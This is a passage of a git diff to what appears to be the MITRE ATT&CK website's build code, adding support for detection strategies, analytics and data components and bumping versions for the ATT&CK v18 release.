source stix id.""" datasources = relationshipgetters.get_datasource_list() @@ -233,7 +267,7 @@ def datasource_of(): datasource_of = {} for datacomponent in datacomponents: if not datasource_of.get(datacomponent["id"]): - datasource = get_datasource_from_list(datacomponent["x_mitre_data_source_ref"]) + datasource = get_datasource_from_list(datacomponent.get("x_mitre_data_source_ref")) if datasource: datasource_of[datacomponent["id"]] = datasource @@ -241,6 +275,31 @@ def datasource_of(): return datasource_of +def get_analytic_from_list(analytic_stix_id): + """Return analytic object with given stix id.""" + analytics = relationshipgetters.get_analytic_list() + return next((analytic for analytic in analytics if analytic["id"] == analytic_stix_id), None) + + +def get_related_detection_strategies(analytic_stix_id): + """Return detection strategies referencing this analytic.""" + detection_strategies = relationshipgetters.get_detectionstrategy_list() + references = [] + for det in detection_strategies: + analytic_refs = det.get("x_mitre_analytic_refs", []) + if analytic_stix_id in analytic_refs: + references.append(det) + return references + + +def get_analytics_from_detection_strategy(detection_strategy): + """Build a lookup map for all analytics from the given detection strategy.""" + all_analytics = relationshipgetters.get_analytic_list() + analytics_map = {analytic["id"]: analytic for analytic in all_analytics} + analytic_refs = detection_strategy.get("x_mitre_analytic_refs", []) + return {ref: analytics_map.get(ref) for ref in analytic_refs} + + def add_replace_or_ignore(stix_objs, attack_id_objs, obj_in_question): """Add if object does not already exist. @@ -337,9 +396,8 @@ def get_domain_resources(types): for stix_type in types: # Returns sorted list by name of domain resources by given type list # Builds list from unique ATT&CK IDs - curr_list = ms[domain["name"]].query( - [stix2.Filter("type", "=", stix_type), stix2.Filter("revoked", "=", False)] - ) + curr_list = ms[domain["name"]].query([stix2.Filter("type", "=", stix_type)]) + curr_list = [obj for obj in curr_list if not getattr(obj, "revoked", False)] for val in curr_list: add_replace_or_ignore(stix_objs, attack_id_objs, val) @@ -366,6 +424,10 @@ def get_domain_resources(types): # Generates list of assets asset_list = get_domain_resources(["x-mitre-asset"]) + datacomponent_list = get_domain_resources(["x-mitre-data-component"]) + detectionstrategy_list = get_domain_resources(["x-mitre-detection-strategy"]) + analytic_list = get_domain_resources(["x-mitre-analytic"]) + # Generates list of relationships rel_list = [] for domain in site_config.domains: @@ -385,6 +447,9 @@ def get_domain_resources(types): "mitigations": coa_list, "campaigns": campaign_list, "assets": asset_list, + "datacomponents": datacomponent_list, + "analytics": analytic_list, + "detectionstrategies": detectionstrategy_list, } return resources @@ -440,6 +505,7 @@ def get_contributors(ms): "x-mitre-data-source", "x-mitre-tactic", "x-mitre-asset", + "x-mitre-detection-strategy", ] src = ms[domain["name"]] obj_list = [] diff --git a/pelicanconf.py b/pelicanconf.py index 85152bb2547..f59d77118a6 100644 --- a/pelicanconf.py +++ b/pelicanconf.py @@ -52,3 +52,17 @@ "stixToHTML": custom_jinja_filters.stixToHTML, "permalink": custom_jinja_filters.permalink, } + +MARKDOWN = { + "extension_configs": { + # defaults + "markdown.extensions.codehilite": {"css_class": "highlight"}, + "markdown.extensions.extra": {}, + "markdown.extensions.meta": {}, + # This is for enabling the TOC generation: https://python-markdown.github.io/extensions/toc/ + "markdown.extensions.toc": {"anchorlink": True}, + # Turns new lines into HTML breaks, like GitHub and StackOverflow: https://python-markdown.github.io/extensions/nl2br/ + "markdown.extensions.nl2br": {}, + }, + "output_format": "html5", +} diff --git a/pyproject.toml b/pyproject.toml index 28c07c199ec..66f3f8bc9ca 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,7 +6,7 @@ profile = "black" [tool.towncrier] name = "ATT&CK website" - version = "4.2.3" + version = "4.4.0" filename = "CHANGELOG.md" issue_format = "[#{issue}](https://github.com/mitre-attack/attack-website/issues/{issue})" template = ".towncrier.template.md" diff --git a/requirements.txt b/requirements.txt index 289ccc84aa9..89e7b67bea1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,7 +4,7 @@ bleach==6.1.0 colorama==0.4.6 future==1.0.0 loguru==0.7.2 -mitreattack-python==5.1.0 +mitreattack-python==5.2.1 pelican==4.10.2 python-dotenv==1.0.1 requests==2.32.3 diff --git a/update-attack.py b/update-attack.py index 9e72f9d29b8..6a3f2c865e6 100644 --- a/update-attack.py +++ b/update-attack.py @@ -12,6 +12,8 @@ # argument defaults and options for the CLI module_choices = [ "clean", + # NOTE: While datasources are deprecated starting in ATT&CK v18, we still include them for legacy support. + # All Datasource objects should be individually deprecated, but still have pages generated. "datasources", "groups", "search", @@ -22,6 +24,9 @@ "techniques", "campaigns", "assets", + "datacomponents", + "detectionstrategies", + "analytics", "tour", "website_build", "random_page", diff --git a/website-banner.production b/website-banner.production index d3f5a12faa9..8009d65c0c6 100644 --- a/website-banner.production +++ b/website-banner.production @@ -1 +1 @@ - +ATT&CK v18 has been released! Check out the blog post or changelog for more information.